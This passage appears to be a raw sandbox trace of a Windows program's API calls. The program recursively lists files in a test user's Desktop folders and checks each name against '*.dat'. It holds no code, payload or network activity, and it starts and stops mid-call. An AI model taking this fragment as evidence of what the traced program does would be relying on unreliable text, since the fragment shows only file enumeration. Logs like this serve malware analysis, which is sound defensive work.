lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.333] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.333] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.333] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.333] FindNextFileW (in: hFindFile=0x882ef0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.333] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.333] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.333] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.333] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.333] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.333] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.333] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.334] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.334] FindNextFileW (in: hFindFile=0x882ef0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94bd6e00, ftCreationTime.dwHighDateTime=0x1d7ae53, ftLastAccessTime.dwLowDateTime=0xe0aef760, ftLastAccessTime.dwHighDateTime=0x1d7af26, ftLastWriteTime.dwLowDateTime=0xe0aef760, ftLastWriteTime.dwHighDateTime=0x1d7af26, nFileSizeHigh=0x0, nFileSizeLow=0xa6db, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXPI66EalGh71Cb.flv", cAlternateFileName="FXPI66~1.FLV")) returned 1 [0146.334] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.334] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.334] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.334] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.334] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.334] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.334] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.334] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4f) returned 0x2362e08 [0146.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x2362e08, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", lpUsedDefaultChar=0x0) returned 79 [0146.334] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362938 [0146.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.334] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab10 [0146.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ab10, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.334] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab10 | out: hHeap=0x2360000) returned 1 [0146.334] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*.dat") returned 0 [0146.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362938 | out: hHeap=0x2360000) returned 1 [0146.548] FindNextFileW (in: hFindFile=0x882ef0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ad320, ftCreationTime.dwHighDateTime=0x1d7aac2, ftLastAccessTime.dwLowDateTime=0xe24a4030, ftLastAccessTime.dwHighDateTime=0x1d7aecb, ftLastWriteTime.dwLowDateTime=0xe24a4030, ftLastWriteTime.dwHighDateTime=0x1d7aecb, nFileSizeHigh=0x0, nFileSizeLow=0x6d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nd1SYQH.wav", cAlternateFileName="")) returned 1 [0146.548] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.548] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.548] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.548] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.548] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.548] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="nd1SYQH.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav" [0146.548] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0146.548] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x33400d0 [0146.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", cchWideChar=71, lpMultiByteStr=0x33400d0, cbMultiByte=71, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\nd1SYQH.wav", lpUsedDefaultChar=0x0) returned 71 [0146.548] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e08 [0146.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab28 [0146.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236ab28, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab28 | out: hHeap=0x2360000) returned 1 [0146.549] PathMatchSpecW (pszFile="nd1SYQH.wav", pszSpec="*.dat") returned 0 [0146.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.549] FindNextFileW (in: hFindFile=0x882ef0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 1 [0146.549] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.549] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.549] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.549] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.549] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="rseOPWBE.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4" [0146.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x90) returned 0x23604a0 [0146.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0146.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x48) returned 0x33400d0 [0146.549] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", cchWideChar=72, lpMultiByteStr=0x33400d0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\rseOPWBE.mp4", lpUsedDefaultChar=0x0) returned 72 [0146.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x23627d8 [0146.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.550] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.550] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.550] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.550] PathMatchSpecW (pszFile="rseOPWBE.mp4", pszSpec="*.dat") returned 0 [0146.550] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23627d8 | out: hHeap=0x2360000) returned 1 [0146.550] FindNextFileW (in: hFindFile=0x882ef0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96145a50, ftCreationTime.dwHighDateTime=0x1d7acc5, ftLastAccessTime.dwLowDateTime=0xcde909b0, ftLastAccessTime.dwHighDateTime=0x1d7af38, ftLastWriteTime.dwLowDateTime=0xcde909b0, ftLastWriteTime.dwHighDateTime=0x1d7af38, nFileSizeHigh=0x0, nFileSizeLow=0x81fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="rseOPWBE.mp4", cAlternateFileName="")) returned 0 [0146.550] FindClose (in: hFindFile=0x882ef0 | out: hFindFile=0x882ef0) returned 1 [0146.550] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0146.550] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3b) returned 0x32ba7c8 [0146.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", cchWideChar=59, lpMultiByteStr=0x32ba7c8, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpUsedDefaultChar=0x0) returned 59 [0146.550] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba780 [0146.550] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba7c8 | out: hHeap=0x2360000) returned 1 [0146.551] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.551] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236aab0 [0146.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236aab0, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.551] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aab0 | out: hHeap=0x2360000) returned 1 [0146.551] PathMatchSpecW (pszFile="2Nmr4xl", pszSpec="*.dat") returned 0 [0146.551] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba780 | out: hHeap=0x2360000) returned 1 [0146.551] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b2d460, ftCreationTime.dwHighDateTime=0x1d7a77b, ftLastAccessTime.dwLowDateTime=0x6b8dc8d0, ftLastAccessTime.dwHighDateTime=0x1d7acd3, ftLastWriteTime.dwLowDateTime=0x6b8dc8d0, ftLastWriteTime.dwHighDateTime=0x1d7acd3, nFileSizeHigh=0x0, nFileSizeLow=0x12280, dwReserved0=0x0, dwReserved1=0x0, cFileName="6_Lz6Ex2GE8X0H7LSYpm.doc", cAlternateFileName="6_LZ6E~1.DOC")) returned 1 [0146.551] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.551] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.551] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.551] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.551] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="6_Lz6Ex2GE8X0H7LSYpm.doc" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc") returned="\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc" [0146.551] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.551] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4c) returned 0x2362eb8 [0146.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x2362eb8, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", lpUsedDefaultChar=0x0) returned 76 [0146.552] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362d58 [0146.552] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362eb8 | out: hHeap=0x2360000) returned 1 [0146.552] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0146.552] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xc) returned 0x236ab58 [0146.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=6, lpWideCharStr=0x236ab58, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0146.552] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab58 | out: hHeap=0x2360000) returned 1 [0146.552] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*.dat") returned 0 [0146.552] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362d58 | out: hHeap=0x2360000) returned 1 [0146.552] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0cea770, ftCreationTime.dwHighDateTime=0x1d7a491, ftLastAccessTime.dwLowDateTime=0x2fd030a0, ftLastAccessTime.dwHighDateTime=0x1d7a4e8, ftLastWriteTime.dwLowDateTime=0x2fd030a0, ftLastWriteTime.dwHighDateTime=0x1d7a4e8, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="i33RqOxAVJq9dL.mkv", cAlternateFileName="I33RQO~1.MKV")) returned 1 [0146.552] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.552] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: 